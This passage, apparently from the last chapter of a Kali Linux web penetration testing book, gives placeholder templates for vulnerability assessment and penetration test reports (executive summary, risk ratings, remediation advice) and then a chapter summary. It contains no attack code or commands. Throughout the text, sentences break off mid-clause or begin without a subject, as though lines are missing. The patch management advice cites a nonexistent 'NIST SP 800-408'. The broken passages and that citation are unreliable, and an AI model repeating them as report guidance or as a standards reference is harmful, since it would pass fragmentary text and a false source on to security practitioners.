Explanation of vulnerability found.

Recommendation to remediate vulnerability.

1.4 Recommendations
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SERVICE PROVIDER recommends CUSTOMER develop a plan of action to address 
problems discovered during this assessment.

concerns. Strategic recommendations focus on the overall environment, future 
directions, and introduction of security best practices. A highlight of the 
recommendations follows:

1.4.1 Tactical Recommendations

Recommendation 1
Recommendation 2
Recommendation 3
Recommendation 4
Recommendation 5

1.4.2 Strategic Recommendations

Proactive security assessments: As part of security best practices; 
CUSTOMER should ensure that any major changes to their Internet 
facing infrastructure have another external security assessment. This is a 
precautionary to the impact from changes made as recommended from this 
document.

: Networks exposed to 
implement some capability to detect 

intrusions. Investigate an IDS solution for the network.
Automated network access control: Best practice is automating the control of 

1.5 Tabular Summary

The following table summarizes the System's Vulnerability Assessment: 

Description 
Systems vulnerability assessment summary
Number of Live Hosts 100
Number of Vulnerabilities 35
High, medium, and info severity 
vulnerabilities 21 6 8
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2.1 Network Security

2.1.1 ITEM 1

Description:

Service Running: SMTP, HTTP, POP3, HTTPS

Service Version Details:

Analysis

Description

Severity Level

Medium

2.1.2 ITEM 2

REPEAT

Summary description

References: http://www.weblink.com

2.2 Web application vulnerabilities

Risk Description Threat 
Level 

Potential Likelihood of 
Exploitation Recommendation 

Vulnerability A Severe  Potential Loss Possibility of being 
compromised Remediation 

Vulnerability B Severe  Potential Loss Possibility of being 
compromised Remediation

Vulnerability C Severe  Potential Loss Possibility of being 
compromised Remediation

Vulnerability D Moderate  Potential Loss Possibility of being 
compromised Remediation

Vulnerability E Moderate  Potential Loss Possibility of being 
compromised Remediation

Vulnerability F Low  Potential Loss Possibility of being 
compromised Remediation 
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Risk Description Threat 
Level 

Potential Likelihood of 
Exploitation Recommendation 

Vulnerability G Low  Potential Loss Possibility of being 
compromised Remediation

Vulnerability H Low Potential Loss Possibility of being 
compromised Remediation

Experience has shown that a focused effort to address the problems outlined in this 

require knowledge of and commitment to good practices rather than high-level 
technical skillsets.

Appendix

This section provides the screenshots of the known vulnerabilities presented in the 

Penetration Test report

Customer:

Address

Contact information

Service Provider:

Address

Contact information

PENETRATION TEST REPORT – Customer

Table of Contents

Executive Summary

Summary of results

Attack Narrative

Network Vulnerability Assessment 

Webserver Vulnerability Assessment

Privilege Escalation 

Maintaining Access to Compromised Targets
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Domain Privilege Escalation 

Database Content Exploitation 

Attacker Control of Customer Transactions

Conclusion

Recommendations

Risk Rating

Appendix A: Vulnerability Detail and Mitigation

Vulnerability A

Vulnerability B

Vulnerability C

Vulnerability D

Appendix B: List of Changes made to Archmake Systems 

Appendix C: About Offensive Security

Executive Summary

SERVICE PROVIDER has been contracted to conduct a Penetration Test against 
CUSTOMER's external web presence. The assessment was conducted in a manner 
that simulated a malicious actor engaged in a targeted attack against the company 
with the goals as follows:

Identifying if a remote attacker could penetrate CUSTOMER's defenses
Determining the impact of a security breach on:

° The integrity of the company's security
° The confidentiality of the company's information
° The internal infrastructure and availability of CUSTOMER's 

information systems

The results of this assessment will be used by CUSTOMER to drive future decisions 
as to the direction of their information security program. All tests and actions were 
conducted under controlled conditions.

Summary of results
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Network Reconnaissance was conducted against the address space provided by 
CUSTOMER with the understanding that this range of targets would be considered 
the scope for this engagement. It was determined that the company maintains a 
minimal external presence, consisting of an external web site and other services 

While reviewing the security of the primary CUSTOMER website, it was discovered 
that a vulnerable plugin was installed. This plugin was successfully exploited, 
leading to administrative access. This access was utilized to obtain interactive access 
to the underlying operating system, and then escalated to root privileges.

SERVICE PROVIDER was able to use administrative access was to identify internal 
network resources. A vulnerability in an internal system was leveraged to gain local 
system access, which was then escalated to domain administrator rights. This placed 
the entire infrastructure of the network under the control of the attackers.

Attack Narrative

<Network Vulnerability Assessment Details> 

<Webserver Vulnerability Assessment Details>

<Privilege Escalation Details>

<Maintaining Access to Compromised Targets Details>

<Domain Privilege Escalation Details>

<Database Content Exploitation Details>

Conclusion

In the course of the external Penetration Test, CUSTOMER suffered a cascading 
series of breaches that led to conditions that would directly harm the company as 
well as its customers.

Identify if it is possible for a remote attacker to penetrate CUSTOMER's cyber 
defenses
Determine the impact of a security breach on:

° The integrity of the company's systems.
° The confidentiality of the company's customer information.
° The internal infrastructure and availability of customer's information 

systems.
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Based upon services provided, it was determined that a remote attacker would be able 

because it can be discovered remotely through automated scanning. The impact from 
exploiting such vulnerabilities could cripple CUSTOMER's network and brand.

Recommendations

We commend CUSTOMER for being proactive in managing technology risk and 
network security through procuring our services. Due to the impact to the overall 
organization as uncovered by this Penetration test, appropriate resources are 
recommended to be allocated to ensure that remediation efforts are accomplished in 
a timely manner. While a comprehensive list of items that should be implemented 
is beyond the scope of this engagement, some high-level items are important to 
mention:

Implement a patch management program
could be avoided with proper patch management. We recommend following 
the guidelines outlined in NIST SP 800-408 as a source for developing 
security policies for proper patch management. This will reduce the risk of 
running vulnerable systems.
Enforce change control across all systems: Common vulnerabilities are 

through a strong change and control process on all active systems.
Leverage multifactor and role-based access control: Some critical systems 
were found leveraging password security as the only means of validating 
authorized individuals. Best practice is having at least two forms of 
authentication, along with limiting administration account access.
Restrict access to critical systems: Critical systems should be isolated from 
other systems using whitelists, ACLs, VLANs, and other means. The design 
concept of least privilege will limit the amount of damage an attacker can 

guidelines on achieving a security baseline for IT systems.

Risk Rating

three critical vulnerabilities that were used to gain access to CUSTOMER's internal 
network.

: Immediate threat to key business processes
High: Indirect threat to key business processes/ threat to secondary business 
processes
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Medium: Indirect / partial threat to business processes
Low: No direct threat exists; vulnerability may be leverage with other 
vulnerabilities

in systems is Critical during the testing, a total of three (3) Critical, two (2) Medium, 

Appendix: Vulnerability Detail with Mitigation

<Vulnerability A information>

Summary
This chapter concluded this book by providing guidance for developing professional 
customer deliverable reports post-Penetration Testing services. Breaking into 
systems and other hands on technical work is fun; however, detailed reporting and 
solid business practices pay the bills. What makes a professional service practices 

security requirements, this means helping customers meet compliance regulations, 
reduce risk from vulnerabilities, and improve how to identify threats.

of not meeting a mandate or reacting to a recent incident, so knowing the most 
popular standards will improve your ability to matter to your customers. Next, we 
looked at different methods to bill for services, as well as some things to look out for 
regarding quoting for a project. After that, we broke down the different components 
of a deliverable document providing best practices for providing results to your 

Kali Linux that could help generate information for your customer deliverables.

We really enjoyed writing this book and hope it helps you with your web application 
Penetration Testing objectives. Thank you for reading.
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